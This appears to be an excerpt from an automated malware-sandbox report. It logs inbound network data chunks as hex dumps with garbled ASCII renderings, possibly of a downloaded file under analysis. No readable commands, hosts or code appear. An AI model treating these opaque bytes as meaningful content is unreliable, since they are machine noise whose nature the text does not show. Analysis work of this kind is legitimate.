2021-12-28 17:13:33 UTC	24	IN	Data Raw: 76 75 46 64 b4 80 af f5 7e e1 89 c6 72 e2 92 dd 13 22 2b d8 2b 8f 81 34 2a e8 2b 96 bf 03 27 c2 5d 98 d8 a1 9a 98 1e 2a 9f 2e 95 98 6c a6 31 f1 2b 49 02 9e 06 28 18 80 59 dc a6 1a c1 d3 aa 07 6c 59 74 97 7b a1 7a 56 85 72 e8 6f 8f 37 11 f9 7b b2 8d 38 b5 ef 84 05 d4 18 d6 6e a5 af c0 96 be 4c c2 2d 17 da 11 c5 7e 36 09 20 0c 50 dc 93 35 90 f5 0f 77 c9 c1 42 06 a1 7d 39 af 50 bf 20 26 56 36 a5 32 2f 74 d2 01 fa 8c 40 ed cd 7b 4c 1f 79 07 e4 ee aa ed 61 d2 02 74 13 fd da a1 97 f9 4a 4f 35 b1 1b 3c f0 9a c7 b3 a9 1d 17 18 02 d1 39 8d d8 9d f2 2e 92 7b b4 47 dc dc 6a 87 d9 2c 73 9e 95 1c 2b 88 10 fd e4 4a 8a 44 a0 9e f7 2c 15 ae 41 6f ed 3d 6c 28 b4 5e 73 a8 18 c9 b9 df d0 cf 71 62 18 7c 0a a2 40 0b 1b 56 b5 e8 aa af ca f2 ed ba bb e1 55 4f 99 0e 90 60 74 11 Data Ascii: vuFd~r"++4+'].l1+I(YlYt{zVro7{8nL-~6 P5wB}9P &V62/t@{LyatJO5<9.{Gj,s+JD,Ao=l(^sqb\|@VUO`t
2021-12-28 17:13:33 UTC	25	IN	Data Raw: ca 97 18 7f 25 5f 9e e9 18 3b ee e1 2a 88 c7 d2 3b 8b 5a 81 dd 63 b8 33 5c 91 28 83 e9 97 2e 77 45 1c 39 46 8f 05 bd e8 62 1f 5e 10 22 bd 31 df 5f 53 d7 00 fe 6d 6a f4 ff 08 60 24 e9 1e ca 5b 6e e3 6d 64 f0 68 98 73 ef 4c c0 80 cf 68 2d 6a 56 95 b1 87 63 68 85 3f 1f 27 f2 64 b9 7b f4 1c ba d0 25 30 64 8e 23 b2 3d 10 77 3c 1c bc 40 8a b1 81 c2 77 a2 86 c0 29 c8 c7 24 06 78 44 7a 3c e3 2b 93 99 ae 69 9c 45 f6 af 66 f8 ff 07 da ae dd c6 ce 85 8c e6 ff 63 f9 20 35 58 de 43 a6 92 35 21 50 f9 51 a8 91 be 02 5f 32 ae 82 bb bf 19 9f e1 59 9b 3c d3 de 19 83 77 c9 49 02 06 14 09 79 e6 23 9b 51 ed cb 18 71 d5 3f 1d 5e c2 82 dc 11 df 0f 6f e3 45 a6 de 60 ef cc 5d 14 d9 d3 3a 38 01 f1 bc 92 c3 67 23 5b 30 95 15 2f ad 61 b9 01 a4 18 04 fd ee c6 e0 e6 0a 8f 9d 7f b5 e8 Data Ascii: %_;*;Zc3\(.wE9Fb^"1_Smj`$[nmdhsLh-jVch?'d{%0d#=w<@w)$xDz<+iEfc 5XC5!PQ_2Y<wIy#Qq?^oE`]:8g#[0/a
2021-12-28 17:13:33 UTC	26	IN	Data Raw: cf 6e fe b0 d6 c3 d7 27 10 e5 24 16 fc a7 fb 07 96 12 28 e1 7d b1 bf 0e cf bd 3c 72 e2 2e cd 48 7f ca 79 87 bb ef 02 64 34 8e fe 9a a7 79 10 7c b5 d3 2c 6c 33 7a f7 a6 2b 19 f7 0f 95 7b df ee a8 96 52 35 51 f0 f7 61 93 17 47 f7 54 a5 ce 92 c6 f3 72 f3 e5 2c 9b 85 e7 70 e4 cd 2c 24 7b c7 70 46 cb ac 35 b7 1f b9 1a 93 fb 71 87 93 82 4b 41 5c 28 97 b5 6f a5 c5 43 5c f4 d7 9f da 1b 87 d8 5e 97 d6 57 c3 b7 e1 50 ac ed 8d 9c d7 c7 16 e2 90 9d 86 f7 fc 1d ed aa b5 5b 10 83 86 28 45 dc 5d db 70 2a 00 33 f7 6b f0 9c b9 3c 49 3d ff d4 1f 35 a6 4a 95 37 36 80 be 01 52 c8 52 a8 47 c6 7f eb 55 5c 2a 91 0a bb 30 85 7e 90 dd 87 af d8 0d e4 d3 5c a2 65 71 4d 6f 2d b7 92 2e 18 90 67 ea 91 c0 47 c3 f3 9f 44 7c 10 d9 a9 8e 23 34 e6 a7 21 a9 c6 6c ba 1b ef 91 7f 1f e6 a7 8a Data Ascii: n'$(}<r.Hyd4y\|,l3z+{R5QaGTr,p,${pF5qKA\(oC\^WP[(E]p3k<I=5J76RRGU\0~\eqMo-.gGD\|#4!l
2021-12-28 17:13:33 UTC	28	IN	Data Raw: 02 16 e7 24 85 56 39 75 d6 c4 9b e9 2a 43 50 31 5b 03 3e f1 a6 65 ec bd 6d b1 d1 cc 11 8e 04 37 93 b4 cd 9f 47 ac 1a 2a 9b 2f a4 72 91 e8 af ee 32 76 43 00 05 35 ef 72 47 05 c5 07 aa 1d b1 19 f3 03 18 f9 40 68 58 4c 6d e7 a6 69 7f 7a ec 38 99 04 62 aa e0 77 8f 64 8d ef c1 bc 6b 60 a3 5e de 61 ed b2 37 76 9e 5e 8c 3f 12 0b d0 79 83 42 fe 0e 17 b0 86 c3 da 9c f0 53 d1 9c 69 23 44 5f 6b 86 6d a1 aa de 67 c0 42 dd 93 70 c5 e3 2f 63 6b c9 ca aa 75 68 2f 42 51 a1 c5 e9 80 c2 9b 71 db c8 a1 31 cd 8a d4 93 28 74 8e 1b fa 42 3e 7b 6f ab b5 5e b9 b8 44 e8 9a fa c9 13 df 75 6c c5 4b ec 07 0a 9b 0e 70 69 95 f6 83 ff c4 f0 b7 45 eb d5 04 89 8e 44 af 93 65 49 f2 18 39 c3 00 ce ee 7a 51 85 78 32 2e 13 2f d3 75 d4 71 b8 23 2b 3c 88 e5 e7 0d 76 2a dd 86 d9 f5 b8 b8 7a 82 Data Ascii: $V9uCP1[>em7G/r2vC5rG@hXLmiz8bwdk`^a7v^?yBSi#D_kmgBp/ckuh/BQq1(tB>{o^DulKpiEDeI9zQx2./uq#+<v*z
2021-12-28 17:13:33 UTC	29	IN	Data Raw: b7 96 fa 1d d7 b2 9a ea 0a cc 37 6f 37 3d a9 1a ed ca b3 83 db f2 35 b5 e6 e1 e0 5d bd 84 92 51 d2 0a 9f 6c 2a 5c ba 46 80 bd 10 8c de 89 5f 1c 95 04 41 f2 4e 15 ae a8 e5 e2 68 1e 0b f6 08 83 72 a4 55 5e bd 79 46 68 85 44 0d da f2 71 18 bb 8f 9a a7 a2 77 76 af 04 e4 a7 50 3a 3f 57 df 59 d7 2a c5 bf 95 b0 e6 95 ef 7d 8a 54 6b 84 cb 33 75 09 1e 80 e6 76 63 bf 2f 2f c6 f6 c2 70 49 0a d3 ff ab 68 c3 6d af 90 6a c4 1a a3 47 80 fe 8b e5 31 0f c9 2c 49 1d 4f d7 04 f2 64 f4 86 e6 90 a8 db 9b b5 ba 73 83 4e 09 57 53 0b 51 66 26 af 64 d8 b8 ee 88 4a 55 9e 7f 32 d5 b3 a9 66 54 54 db 7c 75 a3 34 7f 5e 6d da a7 74 f2 9e 54 8e 83 92 b2 15 93 53 3a 09 2c 76 1f af e8 65 e7 65 0e d3 5b 04 ca 28 5c ee 7f d6 08 bb de 38 2c 2c 97 ed 7c c4 31 8b e0 20 4e ca 39 6f ea 81 1c 99 Data Ascii: 7o7=5]Ql\F_ANhrU^yFhDqwvP:?WY}Tk3uvc//pIhmjG1,IOdsNWSQf&dJU2fTT\|u4^mtTS:,vee[(\8,,\|1 N9o
2021-12-28 17:13:33 UTC	30	IN	Data Raw: 3b bf 51 fd 72 aa 2b 8f d9 2d 14 36 32 71 d3 99 f8 a4 22 0e 7d 4f 94 87 a4 e7 05 c2 75 a9 a0 02 2f c0 0d 20 09 21 6f f6 82 14 60 d5 1c b1 3a 31 73 a4 28 80 26 2a 45 b9 ef f9 4e e5 84 05 30 44 be 4e 81 7f 8a c7 a0 d6 69 7b f5 36 06 46 f4 a7 40 3e 2d 17 ad c6 94 57 12 50 71 3e 0c f6 ac 98 ef 34 d3 bc 93 d5 5b 05 05 db 95 24 35 e7 bc 2a 37 b0 5a da 66 a3 cd f1 d9 da ce a6 52 a5 71 a7 48 15 33 30 c4 4c 1e cc f5 3a f8 0c 23 f2 4b 75 ef 4d b7 31 0a 6c 73 fa 06 79 92 05 d9 ac b7 ef 6f 21 1a b6 d9 00 f3 24 99 c9 3f e5 8d fb ab 69 c6 b1 6f 23 a8 6d 3f a0 14 7f d2 e2 92 b8 27 af b5 21 8e 7e 1c 14 d2 23 6e e7 9a 4a 74 7e b1 06 86 43 2a 3f 46 5b f0 9f d2 4a 98 a6 97 c2 8e 84 9c 4d 7d db 3c 20 e5 cf b9 3b b7 04 4e 9e 3e a1 ae f7 40 ee 14 ac c2 8f 2b 94 22 ec db 07 4d Data Ascii: ;Qr+-62q"}Ou/ !o`:1s(&EN0DNi{6F@>-WPq>4[$57ZfRqH30L:#KuM1lsyo!$?io#m?'!~#nJt~C*?F[JM}< ;N>@+"M
2021-12-28 17:13:33 UTC	31	IN	Data Raw: de cc 59 a4 b7 b1 4b 73 0d 4c 21 e8 94 55 cc a5 f3 9c f2 a0 d4 a8 8d 9a bb a5 6a 63 5a bb 16 9d 9f ce 6f 82 7a d6 a3 c3 9c 9d 8f 33 7b 72 c9 e1 98 fe aa 88 7f 15 30 9c 8a 2d 22 4c 96 8d 52 a7 ad bc 79 60 fb 93 2f 96 5e 21 41 9d 80 a7 e9 dd db 78 65 62 1a 9e a4 c2 25 b6 01 26 5a bd 26 9b 8d 04 85 bd cc 6a 8d 8e 31 00 bd b6 f6 d7 fb bf 80 ec 65 a1 18 ee 05 cb 3c e6 2f 79 f0 4e 5a b9 d1 ce 62 ac 00 c6 7d 31 17 b8 27 5f 29 a0 54 46 93 41 e3 22 d0 b4 7a 48 d9 8d 11 89 87 11 34 2f e7 fd 3e 04 f4 74 89 d2 b4 4a 2f a8 99 a5 18 cc 18 5a c2 66 b1 27 3d 32 dc 06 1c fb 4f cb 91 85 54 90 5d a4 78 2c da e6 a3 ea b5 ee a3 dc 3f e6 c9 f0 4c 0c 94 21 8a 03 d1 e5 3d dd cb 29 64 29 5a d0 84 3a 46 2f 4a 84 82 76 74 df 92 23 9f bc e4 f3 97 88 20 d1 0c 2b 0b 69 6a a3 48 d9 53 Data Ascii: YKsL!UjcZoz3{r0-"LRy`/^!Axeb%&Z&j1e</yNZb}1'_)TFA"zH4/>tJ/Zf'=2OT]x,?L!=)d)Z:F/Jvt# +ijHS
2021-12-28 17:13:33 UTC	33	IN	Data Raw: fb e1 7b e4 9f 88 2a 56 5f 53 e9 5c fc 39 76 6b 67 36 1a cc 39 69 66 d9 67 79 9c 82 13 f4 05 04 97 81 e9 40 cc fe a0 90 f5 0c 80 0e a6 ae 66 59 59 1f 64 85 70 8d 93 a9 f7 d3 e7 b4 a4 69 bf 3d fa 09 f6 05 60 d9 c2 34 fa 00 ef 17 43 49 0a 47 76 54 f3 1d b2 89 88 f6 73 fd 2c 18 65 87 5d 6e 6b 00 51 8d fb 48 c3 68 f1 3b 42 aa 27 64 36 96 5c 8b ec b4 ab 45 4b 1b c2 2a 6b 26 68 6b 0f bb 84 d4 b4 40 b6 eb 16 b4 00 25 56 b7 1d 2d c5 b3 37 1a fe 90 16 c1 bb 40 ed a0 db 72 40 96 e1 44 28 20 6e d4 df 68 33 99 81 51 50 6f 54 dc 46 f1 28 ec ca 53 36 6f 61 3c a5 bd a6 0b 9c 78 59 df 51 70 d5 d4 f4 e1 3b f7 86 37 48 c6 ff 13 7d 6d 24 fb ba 6e e2 4a d7 e1 f2 a7 73 6c 85 6f 3a 0d 30 1c 95 14 d4 50 ba 99 4d a5 f7 aa a4 b9 e3 69 e4 85 02 6c dc 00 f0 1a 28 e2 d8 8d 32 f5 fa Data Ascii: {V_S\9vkg69ifgy@fYYdpi=`4CIGvTs,e]nkQHh;B'd6\EKk&hk@%V-7@r@D( nh3QPoTF(S6oa<xYQp;7H}m$nJslo:0PMil(2
2021-12-28 17:13:33 UTC	34	IN	Data Raw: 51 8f 65 c6 3a e8 eb 90 69 57 c5 83 53 78 47 4b 12 d1 bf ed 5d 05 2b 1b 6b 3b 26 06 53 1e 44 3c b8 af 0b 1c 78 60 b5 ea 8a 20 54 47 59 48 08 ae 88 0b ed 5f df 9d d5 9a ed ca 1a 40 1c 12 44 38 4e fa f6 83 22 7d 1e e6 29 ee 71 bb 80 3d 10 d5 10 ac c8 99 f5 98 d0 a2 95 da 5c cf 24 8e 76 f0 a7 27 b2 4b 56 da b5 94 b3 39 59 9c d3 6a 7d dc 0c e5 b8 56 04 04 41 10 73 55 d6 d1 9c 04 7e 5a 81 2b ee 9a e2 8a a7 be 1c 18 47 e7 ad 7e 63 e5 0b fa 21 d6 3c 45 4c 3e 8e 48 89 8d 95 de c8 34 3a 00 44 35 a3 9b 6a 6b 0d ba c6 e0 66 88 9a 5e d4 a8 29 30 4e 47 83 e8 00 6c 6a 94 05 f4 5e ec 03 cb 11 1e 72 38 64 19 40 21 0c 69 e3 12 7a 41 0b 48 26 b8 ce b3 e1 b2 01 02 f6 7c d3 d7 54 0c be 2e e1 3f cb 9f ac 0c 1e e6 34 ba dc a7 a4 62 48 9f e0 ba 0e 00 ac 3a 1c bf 93 30 ea 91 f2 Data Ascii: Qe:iWSxGK]+k;&SD<x` TGYH_@D8N"})q=\$v'KV9Yj}VAsU~Z+G~c!<EL>H4:D5jkf^)0NGlj^r8d@!izAH&\|T.?4bH:0
2021-12-28 17:13:33 UTC	35	IN	Data Raw: 22 0b 85 d1 40 07 64 d0 57 a7 5e fe f4 93 e6 2e 36 47 6e 9b 76 2d be 4c 04 cc 64 1e c2 05 22 82 78 ee 23 21 ae a4 6d 00 40 51 db 05 4d 0f 14 24 0d 2c 92 bd 7a 30 88 85 0d f4 ee 8f 4a 52 8d e0 8d 1c 84 8c 81 2d 0a fa 5a 64 2f 3c 5b ae db a8 90 d8 e7 0b ca fe 32 81 b7 3a 11 c9 92 3f 0d 7d fb 0e 2a 86 0c 29 a8 a8 e6 5e 97 ca c6 e4 28 fc 66 ba 60 0c 73 44 d3 86 f0 ff 10 5d d4 58 59 1e 12 52 06 50 8a cd 01 2a 01 69 eb 15 f8 ce 1a dd b0 27 7e 14 33 fe 63 b9 73 0d 1c 6a 6e 07 43 e5 04 3d 83 0a 92 5c d8 f1 3d 6f ab 79 d8 ea 9d 8d 76 77 34 95 99 f0 8b 01 f0 56 ef 19 b0 cd 58 04 09 2e de f6 52 5f d4 d4 4e 5f 10 b4 d0 81 ff 03 8c 15 24 13 c0 f7 68 88 cb fc e8 90 a3 e5 60 2c 3c fb 17 83 74 e5 9e 5c 12 eb dc 93 ec ff 2b b8 de cc d5 08 31 57 38 59 0b 09 22 5d 93 b9 4b Data Ascii: "@dW^.6Gnv-Ld"x#!m@QM$,z0JR-Zd/<[2:?})^(f`sD]XYRPi'~3csjnC=\=oyvw4VX.R_N_$h`,<t\+1W8Y"]K
2021-12-28 17:13:33 UTC	37	IN	Data Raw: e8 4e 79 20 b7 90 d9 2e 63 57 87 db 7a 73 2d 95 90 52 63 f7 54 19 0d a7 55 83 03 49 aa b4 ca 8f 72 97 71 4e 12 e6 11 19 39 cf fd 7e 83 23 02 c1 a1 05 4a 8c 1f 72 56 e9 a6 63 80 67 d8 ca 1e 88 74 37 48 57 08 0d 7e b9 29 b4 9c c0 8b 47 6f 13 ee 5d 40 f1 90 32 0e 3e c1 64 51 99 aa f4 93 f4 e1 48 c5 94 29 6f ff 12 2a df b3 db 68 ba 7f 7f 26 ec 48 08 23 70 99 6b 4d 52 0c 43 a1 4f 9f 45 ea f2 42 48 4a 7a 7a ad f5 69 21 b6 e9 4d d2 69 76 24 e8 11 32 7c f6 ad d1 b8 db 88 a9 06 73 e9 07 44 aa ee 53 5d cf 3a 14 d4 c7 13 b4 ba aa ac 3e e9 4c 92 23 01 f4 a0 03 22 fa e0 b8 36 7c 73 0d 58 c1 8f 7b fa fa 94 f1 c1 dd 41 6b fa 59 88 aa 0e 04 9d a7 f7 86 9b 60 1d 18 35 5e 95 47 b6 4a ca 39 6a 97 db 45 8d 95 ee 0b 97 1e 76 6c 1c 76 7c 8c 66 e5 d3 5b 2d 5b af f3 89 7e 58 e4 Data Ascii: Ny .cWzs-RcTUIrqN9~#JrVcgt7HW~)Go]@2>dQH)o*h&H#pkMRCOEBHJzzi!Miv$2\|sDS]:>L#"6\|sX{AkY`5^GJ9jEvlv\|f[-[~X
2021-12-28 17:13:33 UTC	38	IN	Data Raw: 81 e3 ce 13 81 b3 3b 15 b8 62 14 44 03 47 68 4a f7 3e 4f ff f7 8a eb ef d2 68 7e f0 d8 99 1f 7e a3 34 7f 48 71 2c 04 9d b0 d2 af 7b 23 d8 e7 51 43 dd 85 82 f1 94 a0 fe b7 ba be 3d af 1b 64 e0 2c 6d 64 a9 31 69 a8 e0 9f d0 b7 37 99 e6 7d e3 a0 67 32 3b fc f2 d6 1d a7 93 75 71 cf fe bb 8e cc ad fc 49 6a 34 0a 0a 5e 69 ec d1 e3 42 e1 35 38 27 8a 11 e4 a9 26 78 c0 a3 d7 09 3d fb b6 a2 7a bc b7 16 02 dc 3d 3d b6 3e bc ad 1e c6 66 bf 3b be 9e 6e 87 7a 70 3d 8b c2 58 4f 08 20 4d 2b a9 1b 23 e6 d5 ab 14 c6 70 b2 a0 7d b5 72 e0 9c 13 4f 1d 94 dd 02 6e ba f5 4b 9d ef fb aa f4 5b 19 8b b6 6a 7f fc fe c5 92 c3 6e 6a 1e 5b 05 29 b8 37 7c f2 2d 98 d7 3b f5 bc 83 0c 3c d3 d4 60 2f 01 c9 63 a5 90 2c 4d c5 ba 5e 48 3c 8e c4 14 2f 81 f8 1d ae f6 58 7f 31 74 96 de 46 96 6a Data Ascii: ;bDGhJ>Oh~~4Hq,{#QC=d,md1i7}g2;uqIj4^iB58'&x=z==>f;nzp=XO M+#p}rOnK[jnj[)7\|-;<`/c,M^H</X1tFj
2021-12-28 17:13:33 UTC	40	IN	Data Raw: d2 1e be f7 61 2b 08 9c c4 71 67 22 82 c8 ce 01 56 29 dc a7 90 dc c1 ea 6e 52 1e 3d 49 3d ea 7c 14 35 8a 05 9e dc c1 e4 dd e4 a6 d4 e5 b1 dd 7d d0 43 f5 9d 07 82 45 2c f8 58 91 11 e1 b9 9b 9c 62 3c 58 ac d5 1e a0 40 ca 5d a4 86 4a e8 02 1e f1 26 39 d0 b1 ab 86 23 9f 4a a6 41 a7 7d c0 5c e0 dd cd 50 be 20 47 05 ef d4 8e 4a a8 91 6a 82 e2 e3 5c b4 59 63 01 5f 56 c2 6e 2d e1 02 00 62 5f 79 b3 38 18 2a 76 d6 31 4d 32 3a b9 cb 83 54 69 f3 3b 2d 55 17 43 01 84 1a ad 5e dc 1b 39 53 c4 7b 59 d4 f6 5d 35 ea 06 14 7f 82 75 6c 0a 5b b6 38 e3 9b 3a 86 41 66 16 55 e2 40 cb bc df 9c 1d e8 07 a5 c2 fb 6f 47 d9 36 e9 91 a8 65 8f bb 58 3a 27 15 b3 93 9f 16 00 4a 36 8b f6 e2 49 85 a8 77 0e 20 95 61 90 e4 f1 a0 fd 74 fd 5e 4b ff 5c 1d fa 60 45 9a fb 33 cd 27 51 c4 6e d2 f4 Data Ascii: a+qg"V)nR=I=\|5}CE,Xb<X@]J&9#JA}\P GJj\Yc_Vn-b_y8*v1M2:Ti;-UC^9S{Y]5ul[8:AfU@oG6eX:'J6Iw at^K\`E3'Qn
2021-12-28 17:13:33 UTC	41	IN	Data Raw: e3 1e 8c b2 b9 06 ff ab 83 3c 44 83 be 04 da d7 90 0d 0f ec a9 a4 15 c1 f1 f2 6e 73 40 75 52 d8 61 50 40 c6 0c 31 c6 b5 6a df f3 c2 f5 f5 23 64 b6 41 9f d0 bb 78 c2 ac 27 89 75 7f ac 8a 8c ce 5b 09 22 a4 0b 7e be 78 56 ea 3e 22 bd d7 5d ae 0c 3b d8 a7 ef 04 63 76 c9 26 24 66 96 f0 a9 4a 7d 16 db 92 47 a1 e6 23 7c d6 ae 77 ac 70 e5 98 71 9c a0 cc 85 7e e9 af 2f 7b 06 be ca ce d9 e3 68 f3 5e df c7 e6 6c fe 4d 8a 1e 38 81 8c 17 55 70 62 70 e8 a6 4d 49 29 f5 23 ef 7e 03 67 69 62 4e 64 1a 56 10 75 2a bc 8a 20 57 c8 72 dc f4 8a c9 71 65 82 3c 6f c4 98 0e 9b 85 1a 9c f1 b0 14 4f c9 4e 83 65 b6 f8 50 78 91 ff a8 cd 33 6d 50 8a 2f 91 39 d5 5a bb aa 7c 9b 6c d2 e8 4c 59 66 13 71 4f bf 47 4c df 28 20 7f e0 46 41 96 5a 3e 78 97 c8 2b 34 63 09 a2 48 fc 3c 10 ac 0b d0 Data Ascii: <Dns@uRaP@1j#dAx'u["~xV>"];cv&$fJ}G#\|wpq~/{h^lM8UpbpMI)#~gibNdVu* Wrqe<oONePx3mP/9Z\|lLYfqOGL( FAZ>x+4cH<
2021-12-28 17:13:33 UTC	42	IN	Data Raw: 59 80 6a ee d3 fd df f3 f3 73 bf 4c 60 27 9e 3d 86 80 de 5d fc 4a 6f ee 35 29 03 67 30 35 68 6a 22 22 d3 47 3b 8e 14 42 ed ee cb 7c 38 29 1c a6 ce 18 f0 80 74 78 d8 a2 43 df d2 bb 1f 15 9f 4f b1 62 b4 f2 82 c1 4f 39 84 47 fb ab 0b b6 16 9b ce 46 41 f4 6b 95 18 01 fa 27 42 0f 39 65 cb 53 c4 f5 43 04 08 a6 1d cb dd e3 27 4c 58 5a 67 da a8 9f 88 f4 ae c1 d5 49 32 50 e2 6e c5 65 bc f3 a5 43 7c 9e 52 fb 8b 92 3d f3 e2 cb c4 41 b9 13 9f 04 65 d2 dd 84 a8 4c 12 bb da ac 60 c2 5a ae e0 dd ac c3 5d 2d 40 5f 17 54 28 a1 88 e5 26 23 e2 ab 66 0e 7c d3 9f 26 06 2b 16 ae 23 5a 86 d4 7e 9f bd ac 45 84 65 32 d2 ad 34 72 63 8e 50 e5 f0 74 ae b8 e0 a4 bf ba c9 71 d5 6e 95 5c a2 c0 16 ae c6 3e f4 c9 4f fa cc 02 e1 98 ae a1 0c b4 03 14 76 39 07 79 d0 32 07 2a bb f6 03 e3 fa Data Ascii: YjsL`'=]Jo5)g05hj""G;B\|8)txCObO9GFAk'B9eSC'LXZgI2PneC\|R=AeL`Z]-@_T(&#f\|&+#Z~Ee24rcPtqn\>Ov9y2*
2021-12-28 17:13:33 UTC	44	IN	Data Raw: 57 c6 07 bd 21 80 11 59 d5 7c 27 b5 9c f2 d6 e4 0c 39 73 58 3e 59 e1 95 ba e3 b5 98 52 41 04 01 1c a3 85 09 66 c2 ac f7 3c c4 fe 4d a7 a0 04 15 43 a6 c5 2c 03 33 d1 16 dc ae fc 98 a0 c0 41 65 da 56 60 43 ee ed 24 30 a2 9a 23 7d 3f 44 96 61 e9 6f 25 d2 97 a3 70 2c 57 bd 02 75 5a aa ef c5 6f 63 d5 77 b0 4c c4 bd b5 cc 42 d8 01 f7 ae 84 d0 ff 89 61 69 4d 35 43 de 09 d8 96 d6 ba ce 19 a2 df eb c9 5a 50 f5 a2 08 64 44 e4 63 95 b8 04 9e 3f 80 8f 0b fe eb ef e4 25 46 98 31 61 cc 37 40 75 ec 5b e6 b5 c0 34 a0 2f cc 8f 07 84 a0 84 8a 4f e6 21 4c 43 60 15 02 95 71 aa 2c db 60 17 a4 07 61 6c a6 0f e7 8b c0 06 2e 63 db ed 59 2b a2 bf c0 80 c0 3e bc 17 c6 84 2f 0a ff 78 3f 5e 3e 1c 98 3c 1c 7a d1 83 10 81 ba c1 49 0a 76 fd bf 9b 87 3a 75 43 29 94 17 ff d8 60 b5 6c 48 Data Ascii: W!Y\|'9sX>YRAf<MC,3AeV`C$0#}?Dao%p,WuZocwLBaiM5CZPdDc?%F1a7@u[4/O!LC`q,`al.cY+>/x?^><zIv:uC)`lH
2021-12-28 17:13:33 UTC	45	IN	Data Raw: 73 e1 0d a8 3b d3 4f 1e e2 b2 45 e0 3e 04 83 1c a0 73 64 a1 9b 9b 12 bb 51 f5 ea d9 db 75 48 2e 1a 1f 2f 3e 15 7e 3f 80 84 9e fe 39 56 5e 6c 42 d0 6f 9e f3 79 82 9b 9b 65 01 d5 fe 1e 30 70 3b 88 1b 17 db 18 de 5c 11 d5 a8 59 48 2e 84 36 8c 8c 5a 83 60 28 84 bd 85 1f 0f 1e ad d6 cc 2f d9 6d 15 2c 55 b7 85 25 6e 49 ea 0a bb 94 33 fa 7e 56 65 1e ed 81 86 a3 eb 2e 0f ac 79 fd 34 b8 6a ab 6a 12 01 b4 22 d1 49 92 67 8c 56 6d ab 9f 50 91 ca 86 16 e4 9f 8e 31 d3 83 69 c3 c2 6f 56 2a 1d 2b b5 b0 90 21 9b ee f0 c5 f9 01 65 76 a5 f6 c5 e5 65 5d 97 6d 24 c0 71 ac 00 d0 b8 1f ea 89 10 7b 79 9e ce 20 66 6f 36 71 a6 43 ce 5a bd 1d 17 9c b9 37 58 58 50 a9 21 1d 8e be d1 13 6c 79 1f b1 4d 32 8f f8 5b 15 c6 3c c3 b5 bf 9b 80 77 8e 63 1e e6 25 38 f6 60 f7 48 ab e7 11 af 11 Data Ascii: s;OE>sdQuH./>~?9V^lBoye0p;\YH.6Z`(/m,U%nI3~Ve.y4jj"IgVmP1ioV*+!eve]m$q{y fo6qCZ7XXP!lyM2[<wc%8`H
2021-12-28 17:13:33 UTC	46	IN	Data Raw: 9d 30 9c e8 ce 60 ca 74 62 47 be 78 30 dc 4c 1a f9 28 fb 8a bb 42 a6 88 69 37 a2 6a 39 77 94 d5 3e e6 28 c3 de f8 91 a4 31 9d 94 f6 3f 37 6c 74 86 18 c7 b7 82 f9 56 c1 17 c0 e8 3a 85 16 1a a5 12 3a 17 cf ef 81 d0 dd f8 3b 9a 65 e8 99 e9 ca 64 26 f4 4b 8d d2 ba 3b 6a 61 97 19 33 b2 09 bd 6f 3c 23 42 fc a4 67 97 11 d6 0f a0 ab 3a b6 ad 26 d0 c8 a7 79 1a eb 17 a2 bd bf 70 40 d7 59 83 cf b9 8f ec d4 09 f1 1d 7b e7 7a 1c 73 83 16 30 45 ac 39 c4 5f 43 5c 59 b7 79 6f ae 54 e8 7f 01 06 46 3d 66 6a 0f 7b 7b dc 34 0d e9 6b d8 19 cd ef 10 e4 39 6a b2 d6 00 4b 19 ed e7 4e ae e3 03 21 d9 f8 d8 38 39 d3 34 11 b8 4e 3a f9 22 22 c4 05 1d ec c6 ef 4f 15 e7 44 f3 40 7c 3b 65 68 ae d1 07 06 38 89 29 c5 e9 77 b7 3a 9d a7 f2 3b 11 50 8d a2 4f 18 15 b7 9d 84 ac 97 86 0f c6 b7 Data Ascii: 0`tbGx0L(Bi7j9w>(1?7ltV::;ed&K;ja3o<#Bg:&yp@Y{zs0E9_C\YyoTF=fj{{4k9jKN!894N:""OD@\|;eh8)w:;PO
2021-12-28 17:13:33 UTC	48	IN	Data Raw: 55 a3 2d c6 76 44 01 3d df 5b e1 f8 73 fe ae 00 4d f2 07 21 7a 83 7b 2c 8c f0 8a bc 9b 69 be ef 1c 56 f2 7b 0b f2 95 52 43 6a f9 1f ba 98 2d 36 76 76 88 7e 23 9d fb 3e 45 74 d5 2d 87 d7 72 f1 17 f5 77 2c 3f ab 06 3a 40 8f eb 5e 85 e7 e4 ee 4a 7e fb fb 6b 43 fd b4 2a 42 3d 3a 97 8a b5 cf 70 9c 83 dc da c2 cc bd b3 23 e9 dc e5 79 ce 37 4a 31 ce 51 e2 7f 1a 42 d0 54 da 8d b7 7f 0d 7e e0 9b a2 9b e1 c9 13 ef 5b ae 1f d7 7c 76 c2 99 f4 67 2a 4b 03 f6 37 ea ff bf ab 6b c2 73 cd 8e 4c aa 67 96 f5 3f b9 f2 5f 80 6f 7e b2 0f c5 9f f8 31 52 79 db 84 2b 66 80 7a 1c f3 d1 d0 8e 0b 57 d5 7f f4 af 26 5e cf 56 46 1d c3 94 f8 1f 8a 45 4a 02 bd 08 9f 55 9b 7c ad 22 1e 2e a1 1f c0 24 43 c3 ed 0f 79 b7 d3 ab fe 3e 1d 54 73 fc e2 a8 55 cd fb 25 08 35 ee 83 84 02 d9 e1 e3 e1 Data Ascii: U-vD=[sM!z{,iV{RCj-6vv~#>Et-rw,?:@^J~kCB=:p#y7J1QBT~[\|vgK7ksLg?_o~1Ry+fzW&^VFEJU\|".$Cy>TsU%5
2021-12-28 17:13:33 UTC	49	IN	Data Raw: e8 5e 3c e8 a3 d7 ed 79 65 1e e7 4a 18 f5 01 e1 96 ca 88 52 b4 03 82 e0 d7 46 da f9 e8 70 a8 2a 5c c7 15 30 9d 15 78 32 a6 6d bc 8f b6 c8 48 68 7e a0 ff 09 02 c0 0a ce 1c b2 30 e5 c0 c0 19 fe db 8b d2 ed 60 ad 41 33 63 69 b3 b7 68 4c e9 ca ce 3a f1 c0 40 61 af db 30 da ff 81 2d 80 82 50 45 cf 20 ce 17 e1 39 51 d5 34 e4 bb d5 d1 51 10 6c ef fa c2 2b 59 0b c2 80 bd 3e 49 94 68 cb 0b 14 ad a2 ad a0 d9 8a d8 32 84 6a c5 fc 7c 29 00 86 f1 12 51 fa b7 6f d0 85 16 4a cd fe 38 8f b7 0b 68 49 db ac 2d 0a e5 0b de 85 6e 42 39 b8 9f 06 13 35 97 c7 52 63 5e cb 03 35 fb f3 1f de 90 14 12 d8 a0 42 90 ac 08 41 51 84 f6 70 be 83 07 40 4d ec 1c b9 e7 11 52 31 c1 fb 2e de 6a f9 fc 81 c1 03 88 64 42 61 66 19 27 6d 32 9d 4f 51 70 b0 2f 8e 81 ff 53 2b 1e f3 4d f3 a6 d7 54 58 Data Ascii: 